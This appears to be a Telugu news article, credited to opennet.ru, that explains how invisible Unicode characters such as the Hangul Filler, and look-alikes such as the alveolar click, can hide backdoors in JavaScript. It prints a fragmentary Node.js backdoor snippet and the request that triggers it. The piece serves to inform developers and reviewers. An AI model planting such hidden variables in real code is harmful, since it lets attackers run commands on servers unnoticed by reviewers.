జావాస్క్రిప్ట్ కోడ్‌లో చర్యలను దాచడానికి అదృశ్య యూనికోడ్ అక్షరాలను ఉపయోగించడం

ద్విదిశాత్మక వచనం యొక్క ప్రదర్శన క్రమాన్ని మార్చే యూనికోడ్ అక్షరాల వాడకంపై ఆధారపడిన ట్రోజన్ సోర్స్ దాడి పద్ధతిని అనుసరించి, దాచిన చర్యలను పరిచయం చేయడానికి మరొక సాంకేతికత ప్రచురించబడింది, ఇది జావాస్క్రిప్ట్ కోడ్‌కు వర్తిస్తుంది. కొత్త పద్ధతి యూనికోడ్ అక్షరం “ㅤ” (కోడ్ 0x3164, “హంగూల్ ఫిల్లర్”) వాడకంపై ఆధారపడి ఉంటుంది, ఇది అక్షరాల వర్గానికి చెందినది, కానీ కనిపించే కంటెంట్ లేదు. జావాస్క్రిప్ట్ వేరియబుల్ పేర్లలో ఉపయోగించడం కోసం ECMAScript 2015 స్పెసిఫికేషన్ నుండి ఈ అక్షరానికి చెందిన యూనికోడ్ వర్గం అనుమతించబడింది, నోట్‌ప్యాడ్++ మరియు VS కోడ్ వంటి ప్రసిద్ధ కోడ్ ఎడిటర్‌లలోని ఇతర వేరియబుల్స్ నుండి వేరు చేయలేని అదృశ్య వేరియబుల్స్ లేదా కొత్త వేరియబుల్‌లను సృష్టించడం సాధ్యపడుతుంది.

ఉదాహరణగా, Node.js ప్లాట్‌ఫారమ్ కోసం కోడ్ ఇవ్వబడింది, దీనిలో "ㅤ" అనే ఒకే అక్షరంతో కూడిన వేరియబుల్ ఉపయోగించి, దాడి చేసే వ్యక్తి పేర్కొన్న కోడ్‌ను అమలు చేయడానికి అనుమతించే బ్యాక్‌డోర్ దాచబడుతుంది: app.get('/ network_health', async (req, res) => {const { timeout,ㅤ} = req.query; // నిజానికి ఇది “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // కామా తర్వాత అక్షరం \u3164 ];

మొదటి చూపులో, గడువు ముగిసిన విలువ మాత్రమే బాహ్య పరామితి ద్వారా పంపబడుతుంది మరియు అమలు చేయవలసిన ఆదేశాలతో కూడిన శ్రేణి హానిచేయని స్థిర జాబితాను కలిగి ఉంటుంది. కానీ వాస్తవానికి, గడువు ముగిసిన వేరియబుల్ తర్వాత, అక్షర కోడ్ \u3164తో మరొక అదృశ్య వేరియబుల్ విలువ కేటాయించబడుతుంది, ఇది ఎక్జిక్యూటబుల్ ఆదేశాల శ్రేణిలో కూడా భర్తీ చేయబడుతుంది. అందువల్ల, అటువంటి డిజైన్ అందుబాటులో ఉన్నట్లయితే, దాడి చేసే వ్యక్తి బ్యాక్‌డోర్‌ను సక్రియం చేయడానికి మరియు వారి కోడ్‌ని అమలు చేయడానికి “https://host:8080/network_health?%E3%85%A4=command” వంటి అభ్యర్థనను పంపవచ్చు.

మరొక ఉదాహరణ "ǃ" (ALVEOLAR CLICK) అక్షరం, ఇది ఆశ్చర్యార్థక బిందువును సూచించే రూపాన్ని ఇవ్వడానికి ఉపయోగించవచ్చు. ఉదాహరణకు, Node.js 14లో అమలు చేయబడినప్పుడు “if(environmentǃ=ENV_PROD){” అనే వ్యక్తీకరణ ఎల్లప్పుడూ నిజం అవుతుంది, ఎందుకంటే ఇది వ్యత్యాసాన్ని తనిఖీ చేయదు, కానీ ENV_PROD విలువను “environmentǃ” వేరియబుల్‌కు కేటాయిస్తుంది. ఇతర తప్పుదారి పట్టించే యూనికోడ్ అక్షరాలు "/", "-", "+", "⩵", "❨", "⫽", "꓿" మరియు "∗".

మూలం: opennet.ru

ఒక వ్యాఖ్యను జోడించండి